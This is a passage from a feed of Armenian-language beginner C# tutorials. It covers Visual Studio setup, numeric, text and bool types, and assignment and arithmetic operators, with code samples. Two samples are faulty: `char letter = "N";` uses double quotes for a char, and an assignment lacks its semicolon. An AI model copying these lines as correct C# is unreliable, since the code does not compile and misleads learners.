&lt;p&gt;Էական տարբերություն է հանդիսանում այն փաստը, որ &lt;code&gt;do&lt;/code&gt;/&lt;code&gt;while&lt;/code&gt; հրամանների պարագայում, առաջին հերթին կատարվում է ձևավոր փակագծերի ներսում գտնվող կոդը, այնուհետև ստուգվում է &lt;code&gt;while&lt;/code&gt;-ին տրված պայմանը։ Այսինքն նույնիսկ եթե &lt;code&gt;condition&lt;/code&gt; պայմանը վերադարձնում է սխալ (&lt;code&gt;false&lt;/code&gt;) արժեք, կոդը կկատարվի մեկ անգամ, մինչդեռ միայն &lt;code&gt;while&lt;/code&gt; հրամանի միջոցով կառուցված ցիկլում կոդը կկատարվի միմիայն պայմանի ճշմարիտ լինելու պարագայում։&lt;/p&gt;

&lt;h3&gt;
  
  
  Ամփոփում
&lt;/h3&gt;

&lt;p&gt;Այս անգամ ուսումնասիրեցինք&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Արտահայտություններ (&lt;em&gt;expressions&lt;/em&gt;) և դրանց կառուցումը փոփոխականների, ֆիքսված արժեքների և օպերատորների միջոցով&lt;/li&gt;
&lt;li&gt;Օպերատորների կատարման հերթականությունն (&lt;em&gt;operator precedence&lt;/em&gt;) ու դրանց զուգորդականությունը (&lt;em&gt;associativity&lt;/em&gt;) &lt;/li&gt;
&lt;li&gt;Հայտարարման (&lt;em&gt;declaration&lt;/em&gt;), արտահայտությամբ (&lt;em&gt;expression&lt;/em&gt;), ընտրության (&lt;em&gt;selection) և կրկնության (*iteration&lt;/em&gt;) հրամանները (&lt;em&gt;statements&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;Ծրագրի կատարման կարգը (&lt;em&gt;control flow&lt;/em&gt;) &lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>csharp</category>
      <category>dotnet</category>
      <category>beginners</category>
      <category>armenian</category>
    </item>
    <item>
      <title>Սովորում ենք C# | Առաջին քայլեր</title>
      <dc:creator>Narek Babajanyan</dc:creator>
      <pubDate>Fri, 13 Mar 2020 21:16:17 +0000</pubDate>
      <link>https://forem.com/narek_babajanyan/c-10g5</link>
      <guid>https://forem.com/narek_babajanyan/c-10g5</guid>
      <description>&lt;h3&gt;
  
  
  Միջավայրի կարգավորում
&lt;/h3&gt;

&lt;p&gt;Microsoft ընկերությունը տրամադրում է Visual Studio միջավայրը, որը մատուցվում է մի քանի տարբերակով՝&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Visual Studio - հասանելի է &lt;a href="https://visualstudio.microsoft.com/vs/" rel="noopener noreferrer"&gt;Windows&lt;/a&gt; և &lt;a href="https://visualstudio.microsoft.com/vs/mac" rel="noopener noreferrer"&gt;macOS&lt;/a&gt; ՕՀ-ների համար։ Անվճար տարբերակը կոչվում է Community Edition։&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://code.visualstudio.com/" rel="noopener noreferrer"&gt;Visual Studio Code&lt;/a&gt; - Հասանելի է Windows, macOS և Linux ՕՀ-ների համար։ Անվճար է։&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Visual Studio Code-ն իրենից ներկայացնում է պարզ միջավայր, որը կարելի է օգտագործել փոքր ծրագրեր գրելու համար, սակայն առավել մեծ նախագծերի վրա աշխատելիս (օրինակ վեբ կամ բջջային հավելվածներ) հարմար է օգտագործել առավել բազմաֆունկցիոնալ Visual Studio-ն։&lt;/p&gt;

&lt;p&gt;Visual Studio Code-ում աշխտանքը սկսելու համար բավարար է ստեղծել նոր C# ֆայլ (C# կոդ պարունակող ֆայլերն ունեն .cs ընդլայնումը)։ &lt;br&gt;
Visual Studio-ով աշխատելու համար պետք է նախ ստեղծել պռոյեկտ, ինչից հետո ավտոմատ կերպով կստեղծվեն անհրաժեշտ ֆայլերն ու կկարգավորվեն գործիքները։ Ծրագիրը գործարկելուց, սկզբնական մենյուում առաջարկվում է մի քանի տարբերակ, որոնոց միջոցով կարելի է ծավալել աշխատանք նախագծերի (&lt;em&gt;projects&lt;/em&gt;) հետ։ &lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F463ek75ps8z5tg8s6ej5.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F463ek75ps8z5tg8s6ej5.PNG" alt="Visual Studio սկզբնական մենյուն"&gt;&lt;/a&gt;&lt;br&gt;
Վերջին տարբերակը ("Create a new project") նոր նախագծի ստեղծումն է, որն ընտրելուց առաջարկվում է նախագծերի բոլոր նմուշների (template) տեսականին։ Պարզագույն ծրագրերի համար (որոնք չունեն գրաֆիկական ինտերֆեյս, չեն հանդիսանում web-հավելված, խաղ և այլն), խորհուրդ է տրվում օգտագործել &lt;strong&gt;Console App&lt;/strong&gt; կոչվող նմուշը։&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fld76txkp2g66frajq3ex.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fld76txkp2g66frajq3ex.PNG" alt="Նոր նախագծի ստեղծում"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Ինչպես տեսնում ենք, Console App նմուշի համար ևնշված է երկու տարբերակ՝ .NET Core և .NET Framework: Այս նմուշներն օգտագործում են .NET-ի համապատասխան տարբերակը, որոնց տարբերության մասին պատմել եմ &lt;a href="https://dev.to/n_babajanyan/c-net-3ddi"&gt;նախորդ գրառման&lt;/a&gt; մեջ։&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Նախագծի նմուշն ընտրելուց և Next սեղմելուց հետո, լրացնում ենք նախագծի անունն ու պահպանման վայրը և օգտագործում ենք Create կոճակը նախագծի ստեղծումն ավարտելու համար։ &lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F2kzlgyj43cgby9sazlt9.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F2kzlgyj43cgby9sazlt9.PNG" alt="Նոր նախագծի վերջնական կարգավորումներ"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Առաջին քայլեր՝ տվյալների պահպանում
&lt;/h3&gt;

&lt;p&gt;Մինչ ծրագրավորման հնարքներ և C#-ի առանձնահատկություններ ուսումնասիրելը, հիշենք ինչ է իրենից ներկայացնում ծրագրավորումը և ընդհանրապես ինֆորմատիկա գիտությունը։ &lt;br&gt;
Ինֆորմատիկան ուսումնասիրում է տվյալների հետ աշխատող (ընթերցող, փոփոխող, պահպանող, արտածող) գործընթացները։ Ըստ այդմ, ինֆորմատիկայի հիմնական գործիքների՝ համակարգիչների գործառույթներն անխուսափելիորեն ներառում են տվյալների վրա իրականացվող գործողություններ։ Բայց տարբեր դեպքերում անհրաժեշտ է լինում աշխատել տվյալների տարբեր տիպերի հետ՝ թվեր, տառեր, տեքստ, նկարներ․․․&lt;/p&gt;

&lt;p&gt;Հենց այս նպատակով էլ բարձր մակարդակի յուրաքանչյուր լեզու պարունակում է գործիքներ տիպերի հետ աշխատելու համար։ .NET-համատեղելի լեզուների դեպքում այս գործիքակազմը ներառում է հիմնական բազային տիպեր, ինչպես նաև մեր սեփական տիպերը սահմանելու հնարավորություն։&lt;/p&gt;

&lt;p&gt;C#-ի միջոցով հիշողության մեջ &lt;strong&gt;ամբողջ թվեր&lt;/strong&gt; պահելու համար գործում են հետևյալ տիպերը՝&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;C# տիպի անվանում&lt;/th&gt;
&lt;th&gt;Զբաղեցրած հիշողություն&lt;/th&gt;
&lt;th&gt;Արժեքների տիրույթ&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sbyte&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Դրական/բացասական թվեր, 8 բիթ&lt;/td&gt;
&lt;td&gt;-128ից 127&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;byte&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Դրական թվեր, 8 բիթ&lt;/td&gt;
&lt;td&gt;0ից 255&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;short&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Դրական/բացասական թվեր, 16 բիթ&lt;/td&gt;
&lt;td&gt;-32,768ից 32,767&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ushort&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Դրական թվեր, 16 բիթ&lt;/td&gt;
&lt;td&gt;0ից 65,535&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;int&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Դրական/բացասական թվեր, 32 բիթ&lt;/td&gt;
&lt;td&gt;-2,147,483,648ից 2,147,483,647&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;uint&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Դրական թվեր, 32 բիթ&lt;/td&gt;
&lt;td&gt;0ից 4,294,967,295&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;long&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Դրական/բացասական թվեր, 64 բիթ&lt;/td&gt;
&lt;td&gt;-9,223,372,036,854,775,808ից 9,223,372,036,854,775,807&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ulong&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Դրական թվեր, 64 բիթ&lt;/td&gt;
&lt;td&gt;0ից 18,446,744,073,709,551,615&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;Ինչպես տեսաք, ամբողջ թվերի պահպանման համար նախատեսված տիպերը բաժանվում են, երկու տեսակի՝ միայն դրական թվեր պարունակող տիպեր և ցանկացած նշանով թվեր պարունակող տիպեր։ Ընդ որում, միայն դրական թիվ պարունակող տիպերը նույն զբաղեցրած հիշողության պայմաններում ունակ են պահպանել երկու անգամ մեծ մաքսիմալ արժեքներ, քան դրական և բացասական թվերի համար նախատեսվածները։ Օրինակ՝ &lt;code&gt;sbyte&lt;/code&gt; (signed byte) և &lt;code&gt;byte&lt;/code&gt; տիպերը զբաղեցնում են 8 բիթ հիշողություն, սակայն &lt;code&gt;byte&lt;/code&gt;-ի մաքսիմալ արժեքը 255 է, մինչդեռ &lt;code&gt;sbyte&lt;/code&gt;-ինը՝ 127։&lt;br&gt;
Այս տարբերակումը բխում է համակարգիչներում ամբողջ թվերի երկուական ներկայացման տեսակներից՝&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Signed integer` նշանով թվեր&lt;/li&gt;
&lt;li&gt;Unsigned integer՝ առանց նշանի թվեր
Բացասական և դրական (signed) թվերի՝ համակարգչային հիշողության մեջ ներկայացման մեթոդների հետ կարող եք ծանոթանալ հետևյալ հղումներով՝ &lt;/li&gt;
&lt;li&gt;&lt;a href="https://prog-cpp.ru/direct-return-additional-code/" rel="noopener noreferrer"&gt;Прямой, обратный и дополнительный коды&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://microkontroller.ru/programmirovanie-mikrokontrollerov-avr/pryamoy-obratnyiy-dopolnitelnyiy-kod-dvoichnogo-chisla/" rel="noopener noreferrer"&gt;Прямой, обратный и дополнительный коды двоичного числа&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.electronics-tutorials.ws/binary/signed-binary-numbers.html" rel="noopener noreferrer"&gt;Signed Binary Numbers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Signed_number_representations" rel="noopener noreferrer"&gt;Signed number representations&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Կոտորակային թվերի&lt;/strong&gt; ներկայացման համար C#-ում ներառված են հետևյալ տիպերը՝&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;C# տիպի անվանում&lt;/th&gt;
&lt;th&gt;Զբաղեցրած հիշողություն&lt;/th&gt;
&lt;th&gt;Ճշգրտություն&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;float&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;4 բայթ (32 բիթ)&lt;/td&gt;
&lt;td&gt;6-9 նիշ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;double&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;8 բայթ (64 բիթ)&lt;/td&gt;
&lt;td&gt;15-17 նիշ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;decimal&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;16 բայթ (128 բիթ)&lt;/td&gt;
&lt;td&gt;28-29 նիշ&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Նշված երեք տիպերն ունեն տարբեր կիրառություններ։ Քանի որ &lt;code&gt;float&lt;/code&gt;-ը զբաղեցնում է նշվածներից ամենափոքր ծավալը, այն կարելի է օգտագործել, երբ արագագործությունն ավելի կարևոր է քան ճշգրտությունը, իսկ օրինակ &lt;code&gt;decimal&lt;/code&gt;-ը հիմնականում օգտագործվում է ֆինանսական հաշվարկներ կատարող ծրագրերում, քանի որ առաջարկում է մաքսիմալ ճշգրտություն։&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Տեքստային տվյալների&lt;/strong&gt; հետ աշխատանքի համար C#-ը ներառում է &lt;code&gt;string&lt;/code&gt; և &lt;code&gt;char&lt;/code&gt; տիպերը։ &lt;code&gt;char&lt;/code&gt;-ը (character բառի կրճատված տարբերակը) նախատեսված մեկ նշան (տառ, թվանշան և այլն) պահպանելու համար, իսկ &lt;code&gt;string&lt;/code&gt;-ը՝ ցանկացած երկարությամբ տեքստ։&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Իրականում, &lt;code&gt;string&lt;/code&gt; տիպն ունի սահմանափակում՝ .NET միջավայրում տեքստային փոփոխականը կարող է զբաղեցնել մինչև 2GB հիշողություն, այսինքն պարունակել մինչև մոտավորապես 1 միլիարդ նիշ։&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Ծրագրավորման հիմնական բոլոր լեզուներում օգտագործվում է ևս մեկ հատուկ տիպ, նախատեսված &lt;strong&gt;տրամաբանական արժեքների&lt;/strong&gt; պահպանման համար, որն օգտագործվում է ծրագրի մեջ պնդումների ճշմարտության ստուգման համար։ Հետևաբար, այս տիպը կարող է ընդունել ընդամենը երկու արժեք՝ &lt;code&gt;true&lt;/code&gt; (ճշմարիտ) և &lt;code&gt;false&lt;/code&gt; (սխալ)։ C#-ում այս տիպը կոչվում է &lt;code&gt;bool&lt;/code&gt; (կրճատ Boolean բառից, քանի որ մաթեմատիկայի՝ պնդումների ճշմարտացիությանը վերաբերվող ճյուղը կոչվում է &lt;a href="https://hy.wikipedia.org/wiki/%D4%B2%D5%B8%D6%82%D5%AC%D5%B5%D5%A1%D5%B6_%D5%B0%D5%A1%D5%B6%D6%80%D5%A1%D5%B0%D5%A1%D5%B7%D5%AB%D5%BE" rel="noopener noreferrer"&gt;Բուլյան հանրահաշիվ&lt;/a&gt;՝ Boolean algebra)։&lt;/p&gt;

&lt;p&gt;Դիտարկենք այսպիսի փոփոխականի հետ աշխատանքի պարզ օրինակ։&lt;/p&gt;

&lt;p&gt;`&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Կարելի է պնդման արժեքը պահել bool տիպի փոփոխականում, այն հետագայում օգտագործելու համար&lt;/span&gt;
&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;lightsOn&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;      &lt;span class="c1"&gt;// Լույսերը միացված են&lt;/span&gt;
&lt;span class="n"&gt;lightsOn&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;          &lt;span class="c1"&gt;// Լույսերն անջատված են&lt;/span&gt;

&lt;span class="c1"&gt;// Կարելի է նաև ստուգել նախապես պահպանված արժեքների ճշմարտացիությունը&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lightsOn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="c1"&gt;// Եթե լույսերը միացված են, ձեռնարկել որոշ գործողություններ&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;br&gt;
`&lt;/p&gt;
&lt;h3&gt;
  
  
  Գործողություններ տվյալների հետ՝ օպերատորներ
&lt;/h3&gt;

&lt;p&gt;Վերոհիշյալ բոլոր տիպերը հնարավորություն են տալիս հիշողության մեջ պահպանել համապատասխան արժեքներ, բայց ինչպե՞ս կարող ենք փոփոխել դրանք և մեր ունեցած տեղեկատվությունից ստանալ նոր արժեքներ։ Այս հարցում մեզ կօգնեն &lt;strong&gt;օպերատորները&lt;/strong&gt; (operator): &lt;/p&gt;

&lt;p&gt;Ծրագրավորման մեջ օպերատորները սահմանում են տվյալ տիպի արժեքների հետ կատարվող գործողությունները։ C#-ը ներառում է թվաբանական (arithmetic), տրամաբանական (logical), համեմատման (comparison), հավասարության (equality) և այլ տեսակների օպերատորներ։ &lt;/p&gt;

&lt;p&gt;Առաջին հերթին անհրաժեշտ է ծանոթանալ &lt;strong&gt;նշանակման օպերատորին&lt;/strong&gt;։ Այն ներկայացված է &lt;code&gt;=&lt;/code&gt; նշանով և թույլ է տալիս փոփոխականին վերագրել արժեք։ Նշանի աջ կողմում գտնվող արժեքը վերագրվում է ձախ կողմում գտնվող փոփոխականին։&lt;/p&gt;

&lt;p&gt;`&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Հայտարարում ենք ամբողջ թիվ պահող int տիպի փոփոխական՝ number անվամբ և վերագրում դրան 13 արժեքը&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;number&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;13&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// Հայտարարում ենք մեկ նիշ պահող char տիպի փոփոխական` letter անվամբ և վերագրում դրան N արժեքը։&lt;/span&gt;
&lt;span class="c1"&gt;// Ուշադրություն դարձրեք՝ տեքստային արժեքները կոդում շրջապատվում են չակերտներով&lt;/span&gt;
&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;letter&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"N"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// Կարելի է նաև նախապես հայտարարել փոփոխականը․․․&lt;/span&gt;
&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;country&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// ․․․և հետո միայն արժեք վերագրել դրան&lt;/span&gt;
&lt;span class="n"&gt;country&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"Armenia"&lt;/span&gt;

&lt;span class="c1"&gt;// Հնարավոր է նաև փոփոխականին վերագրել մեկ այլ փոփոխականի մեջ պահված արժեք&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;firstNumber&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;15&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;secondNumber&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;firstNumber&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Այժմ երկու փոփոխականներն էլ կրում են 15 արժեքը&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;br&gt;
`&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Օպերատորներն իրենց գործողությունները կատարում են &lt;strong&gt;օպերանդների&lt;/strong&gt; վրա։ Օրինակ, նշանակման օպերատորն ունի երկու օպերանդ՝ ձախ կողմում գտնվող փոփոխականն ու աջ կողմում գտնվող արժեքը (կամ այլ փոփոխական)։&lt;br&gt;
Ըստ օպերանդների քանակի լինում են՝&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Բինար (binary) օպերատորներ&lt;/strong&gt;, որոնց անհրաժեշտ է երկու օպերանդ&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ունար (unary) օպերատորներ&lt;/strong&gt;, որոնց անհրաժեշտ է միայն մեկը&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;C#-ում հասանելի թվաբանական օպերատորները հետևյալն են՝&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Անվանում&lt;/th&gt;
&lt;th&gt;Նշան&lt;/th&gt;
&lt;th&gt;Տեսակ&lt;/th&gt;
&lt;th&gt;Գրելաձև&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Մեծացում 1-ով (increment)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;++&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Ունար&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;a++&lt;/code&gt;, &lt;code&gt;++a&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Փոքրացում 1-ով (decrement)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Ունար&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;a--&lt;/code&gt;, &lt;code&gt;--a&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Նշանի փոխում (negation)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;-&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Ունար&lt;/td&gt;
&lt;td&gt;&lt;code&gt;-a&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Բազմապատկում&lt;/td&gt;
&lt;td&gt;&lt;code&gt;*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Բինար&lt;/td&gt;
&lt;td&gt;&lt;code&gt;a * b&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Բաժանում&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Բինար&lt;/td&gt;
&lt;td&gt;&lt;code&gt;a / b&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Բաժանման մնացորդ (remainder)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Բինար&lt;/td&gt;
&lt;td&gt;&lt;code&gt;a % b&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Գումարում&lt;/td&gt;
&lt;td&gt;&lt;code&gt;+&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Բինար&lt;/td&gt;
&lt;td&gt;&lt;code&gt;a + b&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Հանում&lt;/td&gt;
&lt;td&gt;&lt;code&gt;-&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Բինար&lt;/td&gt;
&lt;td&gt;&lt;code&gt;a - b&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Դիտարկենք օպերատորների օգտագործման որոշ օրինակներ՝&lt;/p&gt;

&lt;p&gt;`&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;number&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;number&lt;/span&gt;&lt;span class="p"&gt;++;&lt;/span&gt; &lt;span class="c1"&gt;// Այժմ number փոփոխականը կկրի 4 արժեքը&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;secondNumber&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;number&lt;/span&gt; &lt;span class="p"&gt;*&lt;/span&gt; &lt;span class="n"&gt;secondNumber&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// result փոփոխականը կկրի 20 արժեքը&lt;/span&gt;

&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="p"&gt;/&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// 10&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;remainder&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;7&lt;/span&gt; &lt;span class="p"&gt;%&lt;/span&gt; &lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
&lt;span class="c1"&gt;// remainder փոփոխականը կկրի 2 արժեքը, &lt;/span&gt;
&lt;span class="c1"&gt;// քանի որ 7-ը 5 բաժանելիս ստանում ենք 1 քանորդ և 2 մնացորդ։&lt;/span&gt;
&lt;span class="c1"&gt;// % օպերատորը վերադարձնում է միայն մնացորդը։&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;br&gt;
`&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Ուշադրություն դարձրե՛ք &lt;code&gt;result = result / 2;&lt;/code&gt; տողին։ Այն դեպքերի համար, երբ փոփոխականի վրա կատարվում է գործողություն, իսկ արդյունքը պահվում հենց նույն փոփոխականի մեջ, տվյալ օպերատորը կարելի է համատեղել նշանակման օպերատորի հետ (&lt;code&gt;=&lt;/code&gt;)։ Օրինակ՝ &lt;code&gt;result /= 2;&lt;/code&gt;։ Հասանելի են նաև &lt;code&gt;+=&lt;/code&gt;, &lt;code&gt;-=&lt;/code&gt;, &lt;code&gt;%=&lt;/code&gt;, &lt;code&gt;*=&lt;/code&gt; օպերատորները։&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;`&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
